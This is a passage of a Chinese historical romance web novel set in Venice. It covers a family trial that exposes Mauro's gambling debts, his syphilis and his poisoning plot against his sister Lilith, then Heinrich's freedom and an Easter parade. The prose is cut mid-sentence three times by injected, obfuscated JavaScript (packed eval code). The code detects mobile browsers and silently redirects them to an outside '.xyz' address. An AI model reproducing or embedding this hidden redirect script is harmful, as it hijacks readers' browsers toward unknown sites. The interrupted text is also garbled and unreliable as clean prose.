“一共欠了多少!给我老实交代!今晚我的老脸都要被你和你妹妹丢尽了!”布鲁诺怒气冲冲地走到毛罗面前,将白纸黑字的借条怼在他的面前,“原来你前段时间说要做生意问我借去的钱,竟全都花在了赌场里吗!“ “可供毛罗花钱的地方或许不只是赌场,还有妓院吧。”莉莉斯挑了挑眉,冰冷的目光投向跪坐在地上的三个女人,“你们说呢?” “你什么意思!你是想说是我指使她们污蔑你吗!”毛罗气急败坏地指着莉莉斯的鼻子怒吼道。 “我可没有这么说。”莉莉斯得意地勾起唇角,“不过既然您主动提出来了,再加上之前杏仁脆饼的前车之鉴,倒也不是没有这种可能。” “你……你这个女巫……简直是血口喷人!”毛罗歇斯底里地大喊。 “我究竟是不是女巫还尚未可知,而您嗜赌背债却是人证物证届在的事实。”莉莉斯歪着头,用怜悯的目光看向败局已定的兄长,“您就承认了吧。” “好多人啊!” 还没等毛罗予以反击,会客厅的大门再一次被人推开。 20. 剥开的红疮 “我听说今晚有大事发生,你们正在寻找不容易被贿赂收买的女性公证人……嗯,还有谁比我更合适呢?“ “埃莱娜?你怎么来了?”马西莫讶异地发问。 “我特意快马加鞭地从佛罗伦萨赶回来参加家族聚会,没想到还撞上了这么一出大戏。” 名叫埃莱娜的女人对着众人露出一个张扬而优雅的笑容。她穿着一身浅黄色的长裙,衬的小麦色的皮肤健美而富有光泽。在长期日晒下被晒成金棕色的头发高高盘起,发髻下是一双克纳罗家族标志的绿眼睛。她快速地用目光扫过众人,眼神分别停留在莉莉斯与毛罗的身上,似乎已经洞察了屋内发生的一切。 海因里希瞥了一眼莉莉斯的表情,相比见到自己时的惶恐不安,她见到埃莱娜后眼睛直放光,简直像好不容易抓住了救命稻草一般兴奋。 “好多人啊,”埃莱娜貌似心不在焉地感叹道,按照自己的辈分坐在了布鲁诺和弗朗西斯科中间,“谁来给我讲讲这是发生了什么?” “先是来了三个妓女,指认我女儿莉莉安娜是个做皮肉生意的女巫。紧接着又来了一个赌场的老板,告诉我我儿子欠下了上百杜卡特的赌债。”布鲁诺单手撑着额头,十分疲惫地解释道。 “别开玩笑了。怎么可能。莉莉可是我从小看着长大的女孩儿,她是什么样的人我再清楚不过了。倒是毛罗,最近怎么样?有跟着船队出海历练过了吗?” 按照习俗,威尼斯贵族家的男孩儿都会作为弩手跟随船队出海历练,一方面锻炼身体,结交友谊,另一方面也能在过程中学习有关航海和行商最基础的应用知识。埃莱娜自己少年时就曾瞒着家里女扮男装去经历了这样的一番试炼,回来后才获得了代表家族四处行商的资格。也正因为她开创了女性经商的先河,莉莉斯才能有机会在她的引导下踏入生意场。 长途航海十分艰辛,在船上长时间只能食用航海饼干、风干奶酪和带着鱼腥味儿的葡萄酒。锦衣玉食养大的毛罗不想吃苦,连着一年又一年称病逃避了过去,现在早就已经过了去做训练兵的年纪。埃莱娜提起这个,比起真心询问更像是嘲弄与羞辱。 “……还没有。” “还是尽快去历练历练吧,虽然苦了点,但是对人的长进很大。倒时候带点玻璃杯出去,带点香料回来,多做几笔买卖,几百杜卡特的欠款也就挣回来了。”埃莱娜漫不经心地抿了一口侍者端来的葡萄酒,用轻蔑的眼神瞥了一眼跪在地上的三个女人,“不过你得小心别碰科孚岛上的妓女,她们身上染着法兰西病,听说最近被水手们也传到威尼斯的廉价红灯区来了。” 法兰西病?这是什么。海因里希并没有听明白这个词的意思。他四处张望查看众人的反应,发现在场各位似乎无人和他抱有同样的疑问,只有毛罗的妻子玛丽亚在听到这个词后貌似紧张地握紧了拳头。 “他现在是要做爸爸的人了,哪还有精力出海航行呢?”莉莉斯笑着接茬道,“我看玛丽亚怀孕了忙前忙后,脑子也不大灵光,还得要有丈夫陪在身边把关才行。埃莱娜姑姑您有所不知,前几个星期,玛丽亚给我送来的杏仁脆饼里搞错了甜杏仁和苦杏仁,我养的宝贝荷兰兔被毒死了。” “这怎么了得。”埃莱娜夸张地倒吸一口冷气,“你人没事吧?” “我没吃,一点事也没有。只是哥哥因此被罚了三个月的生活费,怕是正因如此才还不上欠下的赌债吧?毕竟赌徒都是要以贷养贷的,一次逾期可就把流水全打乱了。”有了埃莱娜的帮衬,局势变得愈发明朗,莉莉斯明显自信了起来,全然不顾自己受到的指控,直冲冲地把矛头指向毛罗,将主动权握在自己手中,“不过话说回来,自从搬出去住之后我可就再没收到过家里的生活费了。还好我的嫁妆足够丰厚,加上我自己做的一些小生意,又有埃莱娜姑姑的帮衬,生活还是过得去的。哦!我终于明白了。“ “明白了什么?“ “原来哥哥是看中了我手里的嫁妆,才一而再再二三地想要害我啊。”莉莉斯睁大了眼睛,装作一副恍然大悟的样子对众人说道,“他先是下令让玛丽亚下毒害我不成,便改换策略攻击我的名誉,找来三个妓女栽赃陷害我。无论我是被当作不守妇道的通奸者还是女巫被处死,那都是不可饶恕的死罪,这样毛罗作为我的哥哥,就可以顺理成章地吞并我的财产,来填满他嗜赌的欲望之窟。“ “一派胡言!混账!”毛罗愤怒地站起身来冲着莉莉斯走去,玛丽亚眼疾手快地拉住了他的袖口,被他一把甩开,使得玛丽亚跌落在地上。海因里希赶紧挡在了莉莉斯的身前,随时做好御敌的准备。两个侍卫冲上前去从背后架住了毛罗,使他动弹不得。 “玛丽亚,我是真的心疼您。”莉莉斯叹了口气,装模作样地挑拨离间,“有这样的父亲作为范本,您的儿子很难不走上他父亲的老路啊……” 谁知玛丽亚跌落后竟并没有从地上爬起来,而是连滚带爬地爬到那三个妓女中间,冲上去扯下她们的手套,看见她们的手掌皮肤上泛出可怕的血斑与红疮。 “原来这是法兰西病……”玛丽亚失魂落魄地感叹道,浑身都在颤抖,“一周前,我突然发现我身上,手上开始起红疹……我还试图说服自己这或许只是春天花粉过敏引发的荨麻疹……原来是法兰西病……是梅毒!” 她脱下自己手上的手套,向众人展示自己手上有着一模一样的红斑。 “母体染上了法兰西病的孩子,就算生下来也活不长了……天主保佑……”弗朗西斯科悲叹道,在胸口画上十字。 “我以我母家的名誉发誓,我是一个忠贞不渝的女人,从来没有背叛过我的丈夫,玷污家族的门楣。我之所以染上法兰西病,都是因为他,毛罗,在外沾花惹草之后将病灶传染给我,也害惨了我的孩子!” “玛丽亚,你冷静,你听我说,这并非我的本意……”毛罗终于意识到事情的严重性,急忙挣脱束缚跪倒在地上扶住妻子的双肩,试图将她揽进怀里,却只得到一个巴掌重重地打在他的脸上。 “在做的各位长辈,还有莉莉安娜小姐。”玛丽亚整理了一下自己的裙子,端庄地站起身来,向众人行礼,而后再次跪了下去,“既然我已经时日无多,也不想再掩瞒我的罪行。是的,那盒杏仁脆片,是我在毛罗的指使下,使用了十足的苦杏仁,还掺进了苦杏仁炼制的毒油,目的就是为了害死莉莉安娜小姐。” “……那你当时为什么没有坦白?”马西莫问道。 “当时我看在孩子的份上,没有办法,只能顺从他。我一直想要一个自己的孩子,为了孩子,我什么事都愿意做……哪怕是这般不可饶恕的罪行。”玛丽亚沉痛地低下头,“可我没想到,他会让我和我的孩子染上法兰西病,因为这些肮脏的妓女……” 三个妓女眼见情势不对,立马跪倒在地上跟着玛丽亚一起翻供。橘发的女人首先开口道:“老爷,我们罪该万死污蔑了莉莉安娜小姐的清白,可要是当时不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973645|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答应毛罗大人的命令,他会将我们活活打死的!” 说着,女人竟当着众人的面宽衣解带,露出满背的辫痕与刺目的红疮。 “我们以前只在机缘巧合见过一次莉莉安娜小姐,这块手帕是她为我拂去眼泪的礼物。”女人惭愧地说道,“莉莉安娜小姐,我们不奢求您的原谅,但我们必须得为您澄清,您从未在我们这里工作,更不是女巫,您是一个顶好顶好的人……” “看来事情已经很明晰了。”莉莉斯叹了一口气,看向马西莫,等待一家之主威严的宣判。 “毛罗,指使人蓄意谋杀弑亲未遂,而后又恶意构陷,害得妻儿身染重病,败坏我克纳罗家族的门楣,实在是不配再做威尼斯共和国的公民了。我会向四十人委员会秘密递交这次审判的结果,给你留一丝最后的颜面。至于是死刑还是流放,就由他们去做判决吧。” 话音刚落,侍卫便将毛罗牢牢控制住,向房门外抬去。 “不!马西莫伯伯!不!”毛罗痛苦地嚎哭,“爸爸,救我,爸爸,我是您唯一的儿子,救救我……” 哭嚎声随着毛罗的身影消失在大门后而渐行渐远。 “至于玛丽亚和这三个妓女,莉莉安娜,你是受害者,你觉得该怎么处置?” 莉莉斯怔怔地看向马西莫。她有些难以置信这个一直如噩梦般萦绕在她的生活中,致使她次次陷入险境的恶棍终于受到了应有的惩罚。她自己遭受的指控则随着完全超出她掌控的发展而不了了之。这一切来得太突然,她一时间竟有些不知所措。 她看向自己的父亲,男人布满褶皱的脸上眉头紧皱,眼角留下恨铁不成钢的泪水。她又看向神情凝重的马西莫、埃莱娜和弗朗西斯科,三位长辈严肃地看着她,仿佛这并不是一次权力的让渡,而是一种测验与考核。她再将目光移向玛丽亚和三名妓女,分别看见了决绝、谄媚、乞求与绝望。 “她们……也都是迫不得已。”莉莉斯斟字酌句地说道,“既然她们已经及时悔改,我相信天主会宽恕她们的罪行,我请求您赦免她们。” “你确定要这么做?”马西莫有些意外。玛丽亚的事情确有些复杂,但了结掉三个低贱的妓女,对克纳罗家族而言只是动动手指头的事。 “自从我与施密德尔家订婚以来,已经有太多纷争因我而起了。”莉莉斯走到各位长辈面前,像小女孩一般委屈巴巴的低下头,“可就算我被许配给夫家,我也仍旧是克纳罗家的子孙。我衷心希望以后咱们能家庭和睦,愿主保佑我们!” “这不是你的错。”埃莱娜十分心疼地看向自己在这个家中最看中的小辈,“你一个孤零零的女孩子,什么也没做错就接二连三地遭受这些灭顶之灾,真是太难为你了。或许晚餐已经准备好了,过会儿多吃点,今晚回去好好休息。” “先送她们回去吧。”马西莫给随从使了个眼色,示意他们带走那三个妓女和玛丽亚。 “那毛罗欠下的债务……”赌场老板眼见大家有即将离席的意思,赶紧抓住最后的机会申讨欠款。方才被他无意间窥见的家族密辛过于精彩,但作为老谋深算的老威尼斯人,他会将自己所看到的一切全部嚼碎了咽下去吞进肚子里。 “我,布鲁诺·克纳罗,作为他的父亲替他偿还。”布鲁诺用手帕拭去眼角的泪水,冷冷地说道,“等家族宴会结束后。” 在座众人陆陆续续地站起身,准备向大门外走去。突然,又一个人横冲直撞地闯入大厅。 21. 胜利的代价 “戈德斯坦先生!”塔塔追在所罗门·戈德斯坦的身后,惊慌失措地想要拦住他。 作为莉莉斯所收购的破产银行的旧主,原本莉莉斯委派塔塔请他来是为了让他作证莉莉斯名下经营业务的合法性。可既然毛罗并没有从这方面下手,所罗门也失去了做证的意义。只不过在一墙之隔外听完了全程,尤其是耳闻目睹了那位赌场老板闯进去借机收回债款之后,他也蠢蠢欲动地想要为自己捞点什么好处。于是趁着大门将开,塔塔松懈之际,所罗门毫不犹豫地冲进了会客厅。 “你又是什么人?”马西莫再次皱眉。怎么今夜的不速之客一个接一个地来,简直没完没了。 “我是所罗门·戈德斯坦,戈德斯坦银行的经营者,前些日子将银行的经营权出售转让给了莉莉安娜·克纳罗·施密德尔。可你们对这件事似乎毫不知情。为了让那个收购的手续可以稳步合法进行,我有必要来确认莉莉安娜夫人是否获得了你们的首肯。” 莉莉斯倒吸一口冷气,她知道自己终究还是逃不过要向家族坦白自己的生意,尽管这很显然不是一个好的时机。 她隐瞒了过往那些藏在珠宝首饰和社交酒会背后的擦边球放贷交易,将收购的事情和盘托出,并主动提起按照惯例,将正式开业后经营所得的百分之十上交给克纳罗家,以此换得了众人的许可与家族名义的授权。有埃莱娜为她撑腰,马西莫和弗朗西斯科实在也不好说些什么,而父亲布鲁诺更是已经因为之前发生的事精疲力竭。 退一万步讲,莉莉斯作为已经出嫁的私生女,名义上并不属于克纳罗家,若是欠下无法偿还的债务甚至犯下罪行,克纳罗家也能迅速与其撇清关系,逃脱责任。相反,就算莉莉斯再怎么事业有成,也不可能影响到嫡系子女的继承权。 对与莉莉斯而言,能用利益绑定的关系比单纯的血缘更令她感到安心。除掉了毛罗这个巨大的威胁,她与克纳罗家的关系终于也有了缓和的余地。这不正是她一直以来所期望看到的结果吗? 但接下来的晚宴上她仍旧食不下咽,无论是她小时候最爱吃的蜂蜜奶酪无花果,还是用料奢侈、加入多种香料炖煮的红酒烩羔羊都无法勾起她的食欲。 她呆呆地看着一位位熟悉或不熟悉的家族中人以此落座,男人们感叹现在生意难做一年更胜一年,女人们满脸堆笑地奉承着对方的服装、发型与首饰。从小浸淫在这样的社交场合中长大,莉莉斯一向应对自如,如鱼得水,可今天却实在提不起兴致与她们寒暄了。 她的目光时不时不自觉地瞟向筵席上毛罗与玛丽亚双双空出来的位置。大多数家族成员对刚才发生的事毫不知情,只是被“应病缺席”的谎言糊弄了过去。本来毛罗的为人就不讨喜,玛丽亚更是个沉默寡言到有些孤僻的女人,除了作为父亲的布鲁诺和对他们恨之入骨的莉莉斯以外,又有谁还会在乎他们呢?谁知道今夜侥幸逃脱的胜利者,明日是否会一朝失足便步上失败者的后尘? 莉莉斯心中五味杂成。她丝毫不敢松懈,但又实在没有力气虚与委蛇,只好借口身体不适早早离席。 夜深时外面的雨已经停了,被暴雨冲刷的水城散发出海水的咸腥气。莉莉斯带着仆从们乘上贡多拉回家。 塔塔似乎因为自己办事不力没有拦住所罗门而非常自责,塞西莉娅拍了拍她的背以示安慰。而莉莉斯只是默默地侧过头去欣赏夜景,什么也没说。 到家门口的时候,海因里希看见伊万卡满身是血地站在码头上,将三四具尸体抛进专供仆人货运的小船上。莉莉斯冷冷瞥了一眼,似乎见怪不怪地直接走进家门。塔塔赶紧去柴房点燃锅炉准备女主人沐浴用的热水,塞西莉娅走进小厨房亲自为她准备夜宵。昏暗的客厅里只剩下海因里希和莉莉斯两个人。 红发的少女泄愤似地解开紧紧缠住的腰封,松开高高束起的头发,再粗鲁地脱下累赘的鱼骨撑丢在一片,仿佛一只被海浪冲上礁石的死鱼一般软绵绵地瘫倒在沙发上。半晌,她勾了勾手指,海因里希心领神会地单膝跪在她面前。 “海因里希……我亲爱的海因里希,今天的事多亏了你。”莉莉斯甜甜地笑着,漫不经心地调整了一下躺在沙发上的姿势,两条腿缠绕着轻轻搭在沙发的扶手上,像是翘起尾巴的水蛇。 “我只是完成了我份内的工作。”海因里希被女主人有些突兀的示好与略显暧昧的姿势刺激得有些脸红,但潜意识里他感到有些不对劲。 莉莉斯又开始掐着嗓子说话了。当她用这种唱歌剧般拿腔拿调的语气说话时,口中往往尽是些虚情假意。 “该怎么样奖励你才好呢?”莉莉斯伸出右手,像哄小孩般抚摸海因里希的头顶,“我赐予你自由人的身份好不好呢?不过代价是你在赚得足够赎金之前仍旧得继续为我工作,不可以离开我。” 这有什么很大的区别吗?海因里希在心中冷笑。用劳动合同绑定的雇佣关系和用卖身契绑定的主仆关系,究竟有谁比谁更“自由”的差距区分吗? “感谢您的慈悲与慷慨,夫人,无论是以什么样的身份,我都会继续陪着您,为您效忠。” 突然,莉莉斯从腰间的口袋里抽出一把匕首,猛地架在了海因里希的脖颈上。 “那你为什么要违抗我的命令呢,我的海因里希?” 锋利的刀刃轻轻蹭过海因里希喉结上的皮肤,仿佛毒蛇在用尖牙试探一只已经被擒住的猎物。 “我记得我当时是请你去请来主教对吧。”莉莉斯轻抬手腕,用刀面抬起海因里希的下巴,“为什么要自作主张呢?“ “当然不是了。“海因里希对莉莉斯的挑衅似乎并不意外,反倒有些应证了他的猜想。只不过现在他早就已经习惯了如何去应对她的多疑,“是我太没用,没能请到达卢卡主教大人,又实在担心您的安危,才擅自主张去请了那位毛罗的债主来。请原谅我,我只是想帮您。“ 他忽略抵在脖子上的凶器,低下头将套在小拇指上的银质戒指摘下来,轻轻握住莉莉斯戴着黑色蕾丝手套的左手,将戒指放进她的手心。 “以后没有我的命令,绝对不许再擅自行动,也不许质疑我的任何决定。” 莉莉斯慢吞吞地移开匕首,将刀刃收进刀鞘。 “遵命。” “收着吧。”莉莉斯用手指捻住那枚戒指,高高举起来丢在海因里希面前的地毯上,“这次的事情……起码结果还不错。但你得牢牢记住,忠诚在我这里永远是最重要的东西,明白吗?” “明白。” “好了,你走吧。去叫塔塔过来。” “好的。您今天辛苦了,早些休息。” “我知道。” 海因里希不知道塔塔是否会受到批评或是惩罚,这也不是他有权去左右的事。他只知道莉莉斯在塞西莉娅的侍候下早早熄了灯,连带着塞西莉娅也比平时更早就寝。 他躺在床上复盘着今天夜里发生的事。万幸莉莉斯能够有惊无险地度过这场危机,她要真有什么三长两短,海因里希作为她的奴仆势必也难逃一死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973646|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,更不可能有机会再去联系上施密德尔家族向莉莉斯乃止整个克纳罗家复仇了。 他突然又想起浑身是血的伊万卡。他从未想过这个平日里内向害羞的女孩竟也从事着女仆职责之外的清理工作。她杀死的那些人又是谁,毛罗为了最后一搏而派来的亡命之徒吗?不只是克纳罗家,即使是在莉莉斯家看似平静如水的小楼里也藏着太多海因里希未曾知晓的秘密。 好在他现在终于获得了名义上的自由人身份,还得到了莉莉斯给他的家纹戒指,相当于获得了能够自由出入各种场所的特权。想到这里,他决定轻手轻脚地从床上爬起来,披上黑色的斗篷,带着钥匙从后门溜了出去。 他独自步行在威尼斯夜晚的街道,熟门熟路地找到了克纳罗家主宅的位置。 “我来替莉莉安娜夫人向毛罗问几句话。”海因里希用戴着戒指的右手将几枚格罗索银币塞进侍卫的手心。 他跟随侍卫的带路来到关押毛罗的地牢。威尼斯的建筑地平面以下便是海水与淤泥,因此关押毛罗的地方更显阴暗潮湿。昔日风光无限的贵族纵使沦为阶下囚,好歹还穿着下午赴宴时的那套衣服,还分配有干净的被褥与床榻,比起海因里希当时的待遇可好太多了。 “你是谁?”毛罗听到脚步声毫不客气地问。烛光照亮了海因里希兜帽下的五官,毛罗隔着铁窗看清了他的脸,露出讥讽的笑容。 “是你啊,莉莉安娜派你过来的?” “不。是我自己来的。” “你不过是那小婊子养的一条狗,竟也戴上了刻着克纳罗家纹的戒指,真是倒反天罡。”毛罗瞥了一眼海因里希的手指,下意识摸了摸自己如今空空如也的指缝,现在那里只剩下隐隐作痛的红色疮痕。 “你为什么这么恨她?她毕竟是你的妹妹。” “她一个女奴生出来的杂种,也配来做我的妹妹?我母亲可是道芬家族的高门贵女!要不是那小贱蹄子的娘为了往上爬而勾引我父亲,我母亲也不会在寂寞中郁郁而终……” “所以你就顺理成章地把上一代的恩怨怪罪在了一个无辜的妹妹身上?你对玛丽亚所做的事,难道不正与你的父亲如出一辙吗?” “我看你可真是被莉莉安娜勾了魂去了。”毛罗不屑地嘲讽道,“你为她办事的时间不长吧。她从小就和她母亲一个样,最擅长利用虚伪的面孔来博得同情,装出一副楚楚可怜的样子,实际上却比任何人都更加自私自利,心如蛇蝎。她为了满足自己的利益,再残忍恶毒的手段都在所不辞,还会将其伪装成甜蜜的陷阱。” “……”海因里希回想起今夜早些时候莉莉斯对他说的那些话。彼时藏在甜甜笑容背后的是刀刃,那么此时藏在自由人的身份与家纹戒指背后的,又是什么已经在莉莉斯心中标好价格的置换品? “所以说,她根本就不无辜。我也根本没有冤枉她,她就是一个十恶不赦的女巫。整个克纳罗家族早就已经从里到外烂透了,莉莉安娜更是烂得无可救药。你给我回去告诉她,总有一天她一定会落得和我一样、甚至更落魄百倍的下场!倒时候你们这些走狗也不可能幸免,全给她去陪葬!” 毛罗双手紧握着铁栅栏对海因里希歇斯底里地呐喊。 海因里希皱了皱眉头。他认为此人目前已经没有再交流的可能性了。他头也不回地离开关押毛罗的地牢,将蜡烛吹灭,用黑色的兜帽遮住金色的头发,熟练地隐匿在了威尼斯的黑夜中。可毛罗恶毒的诅咒却仍旧阴魂不散地继续萦绕在他耳边。 22. 复活节的庆典 毛罗事件过去三天后便是复活节。在那场原本为了庆祝复活节而举办的家庭聚会草草收场之后,四十人委员会也下达了对于毛罗的判决书。在父亲布鲁诺的极力挽留下,他被判流放至位于爱琴海的威尼斯殖民地克里特岛为奴,终身不能再回到威尼斯。 莉莉斯并没有出席对于毛罗的正式判决。她有更重要的事情要去做。 前天,她一大早便带上海因里希去公证处办理解放手续,给予他自由人的身份。下午又去了一趟汇兑商行会,领回来了正式经营的许可以及原戈德斯坦银行的金库钥匙。昨天上午她受邀前往埃莱娜姑姑组织的社交茶会,下午又马不停蹄地赶去码头,给一番操作害得她不得不向家族让利的所罗门·戈德斯坦订购了一张前往耶路撒冷的单程船票作为收购成功后的“谢礼”。 晚上她把家里的仆从召集在一起,宣布复活节庆典期间所有人放假三天的消息。等复活节的假期正式结束之后,大家便要立刻重新回归到繁忙的工作中,为新银行的正式开业加班加点地做准备。 于是在春分月圆后的第一个星期日,也就是复活节当天的早晨,莉莉斯穿着薄薄的睡裙,披散着头发,一边嚼着伊万卡提前给她准备好的饼干一边蹦蹦跳跳地下楼,嘴里还哼着不知哪里听来的船夫小调。正当她掀开客厅落地窗上的窗帘,毫不优雅地躺倒在沙发上高高跷起腿时,她突然看见海因里希的脸像幽灵一般出现在客厅一角的天花板上。 “啊啊啊啊啊啊!”莉莉斯被吓得从沙发上跳了起来,定睛一看,才发现海因里希站在一架梯子上,正在拆下悬挂在天花板上的黑色帷幔。 “你爬那么高干什么!想吓死我吗!”莉莉斯气急败坏地指着他鼻子骂道。 “我才是,被您的尖叫声吓得差点跌落下来。”海因里希略带讥讽地笑着,将拆下来的黑布丢在地上,自己顺着梯子爬下来,“复活节快乐,夫人。” “……”莉莉斯咕哝着嘴走到海因里希的梯子旁边,双手抱胸,“我还以为家里进了些什么不干净的东西。” “怎么,您担心那位被您害死的未婚夫来向您追魂索命吗?” “别以为当上自由人就有资格跟我顶嘴了。”莉莉斯坏笑着握住梯子的一边侧柱,“我亲爱的海因里希,想要试试看你自己摔下来之后能不能复活吗?” “我错了,夫人,我给您赔礼道歉。” “这还差不多。”莉莉斯得意洋洋地笑着,等海因里希平稳落地后才松开手,“你在这里拆帷幔干什么,今天是复活节,你不去休假吗?” “是塞西莉娅吩咐我做这些的。她说正好赶上复活节和银行新开业,家里还摆着丧期的装饰不合适。正巧我也不知道休假能去做些什么,就干脆来拆这个了。反正是我份内的活,早晚都得干。” “塞西莉娅不了解威尼斯的习俗。若这些黑纱幔不挂满六个月就拆下,家族里里外外肯定又要有人拿着这个当把柄嚼舌根。我还得靠着施密德尔夫人的身份做生意,先留着吧,不要继续拆了。” “好。” 莉莉斯再次跑到沙发前坐下来。大门口的地上堆满了各色包装精致的礼盒,最顶上摆着一个黑白相间的兔子玩偶,竟然和那只被杏仁脆饼毒死的荷兰兔长得有七八分像,只是眼睛的部分缝得歪歪扭扭,针脚也实在有些粗制滥造。 “这是什么?”莉莉斯悠闲地晃过去将兔子抱进怀里。 “这是……我给您准备的复活节礼物。”海因里希有些不好意思地说。 “你自己做的?” “是啊。做得不太好。” “我还以为像你这样五大三粗的男人做不了针线活呢。”莉莉斯好奇地将兔子在手中翻来覆去地把玩。 其实以前在骑士团接受训练的时候,衣服总是磨得四处漏风,海因里希不得不学会了自己缝衣服。不过缝玩偶倒确实是第一次。虽然他作为仆人并没有给莉莉斯送复活节礼物的义务,但毛罗的事情过去后正好能抽出一点时间,便加班加点了一晚上缝出来。 “希望您喜欢。” “谢谢你,亲爱的海因里希,我非常非常喜欢!”莉莉斯突然扑进海因里希的怀里抱了他一下,又迅速回到沙发上躺下继续吃饼干。 “这么说来,我倒没有给你准备礼物呢……不过今天圣马可广场上有盛大的庆典。你不想去看看?” “您打算去吗?”海因里希对这种人多凑热闹的活动一向不感兴趣,他更情愿待在家里。 “仆人们都放假了,我总不能自己一个人去吧,要是遇到危险怎么办?再说了,这种庆典每年都差不多,我早就看腻了,倒是你,来到威尼斯没多久,还从来没有看过威尼斯的庆典是什么样的吧。我跟你讲,我听说每年都有好多外国人专程跑来看圣马可广场上的复活节游行呢。怎么样,你想不想去看?要是错过了可就要再等一整年了。现在乘船去应该还来得及。” “其实……” “其实你很想去对吧!嘻嘻,看我对你多好呀。我去换衣服,马上就下来。” 海因里希无奈地看着自己兴奋不已的女主人拎着兔子玩偶跑上楼。明明就是她自己想去,却非要说成是带他一起去,堂而皇之地夺走了他珍贵的假期,完全没给他拒绝的余地。他本来打算忙完手头上的事情之后出发去里亚尔托大桥附近的德意志酒馆看看有没有弟弟那边传来的消息,但现在只好先回房间穿上披风拉下兜帽,站在大门口等她。 莉莉斯换上了一身镶满蕾丝边的华丽黑裙子,将未婚夫送的红宝石戒指戴在左手无名指上,又戴上了一顶蒙着黑纱的圆顶礼帽。她轻快地跳上停靠在正门口的贡多拉。倒是海因里希仍旧站在岸上犹豫不前。 “船夫呢?”海因里希心中有不好的预感。 “放假了啊,所有人放假三天。”莉莉斯心安理得地靠在软塌上,“你来划不就好了。” “我不会划船。” “什么!?”莉莉斯气得坐直了身子,“当初要是知道你连划船都不会,怎么说也得再砍价五个杜卡特才行。在威尼斯划船就跟走路一样,没有人是不会的。你就算刚来的时候不会,都来一个月了也不会自己学一下吗?” “您也没给我学习的机会啊。万一我乱划您的船,磕了碰了弄坏了怎么办。实在不行我们走路去?” “走路去肯定来不及了!”莉莉斯恶狠狠地瞪了海因里希一眼,提着长裙的裙摆站起身,踩着带跟的小皮鞋轻车熟路地站到船尾上拿起船桨,“赶紧上来。” 海因里希有些不好意思地坐上船,难以置信地看着莉莉斯解下绑在岸边的绳索,划着桨将小船驶入运河主干道。 “原来您也会划船。”海因里希惊叹道。 “我都说了,划船就跟走路一样简单。”莉莉斯居高临下地瞥了他一眼,“学着点,等会儿回程你来划。” “……” “实话告诉你,其实划船这件事就像会计与商业一样,他们都说这是男人才能做的事,女人是学不会的。那你知道我是怎么学会的吗?我根本不听他们说的鬼话,就这么简单。” 莉莉斯神采奕奕地单手挥桨,划起来轻松自如:“你看,要学会顺着水,让流水推着自己走,用桨的幅度来控制船头的方向。” 贡多拉驶过一个拐角重新驶入进小水道,不一会儿就到了圣马可广场附近,岸边四处停满了小船,人声鼎沸。莉莉斯牵住海因里希的手穿过熙熙攘攘的人群,硬是一路挤到了前排去。 随着圣马可大教堂的钟声敲响,肃穆的仪仗队从总督府里缓缓走出,八名侍卫举着绣有圣马可肖像的巨幅旗帜,后面跟着八名边行进边演奏的乐师。紧随其后的是数十名唱着圣歌穿着金色法衣的教士与神甫,他们有人拿着巨大的黄金十字架,有人举着书封上镶嵌宝石的福音书。再往后才是威尼斯的总督。他绣满金线的礼服如拜占庭皇帝一般奢华,向众人们彰显着海洋共和国的荣耀与富庶。威尼斯人的欢呼声震耳欲聋【注】: “天佑威尼斯!共和国万岁!” 可海因里希根本就不在乎这些。他的眼睛里只有莉莉斯,只有她在阳光下如烈焰般浓郁耀眼的红发。或许是担心和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973647|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他在人群中走散,莉莉斯一直没有松开手。他隔着一层手套感受着未婚妻手掌的温度,终于认清了一件他一直以来不敢去承认不敢去面对的事实。 他爱上了莉莉斯,爱上了这个美丽而妖冶,聪明却心狠,可怜又可恨的坏心眼小女孩。即使她曾经杀光了他的心腹,使他从贵族变成奴隶,害他一次又一次陷入危机与死亡擦肩。可爱意就是这样不讲道理。他无可救药地爱上了一个他本该恨之入骨的人,而对方只是把他当做一个可以召之即来挥之即去的仆人而已。到底该怎么办呢,海因里希?你该怎么办呢? “马西莫伯伯应该也会跟在游行队伍后面,我们趁着他还没出来赶紧走吧。”莉莉斯回过头看向海因里希,正好对上了那双含情脉脉的湛蓝色双眼。莉莉斯皱起眉头使劲掐了一下他的手心,“你在看什么?” “你的头发……”海因里希害羞地别过脸去,甚至忘记了对她说敬语,“有个地方打结了。” “着急出门嘛,没来得及梳头发。”莉莉斯对他做了个鬼脸,踮起脚尖为海因里希摘下兜帽,满意地欣赏着他梳理整齐的浅金色头发,“我们走吧,这次由你来划船载我回家。” 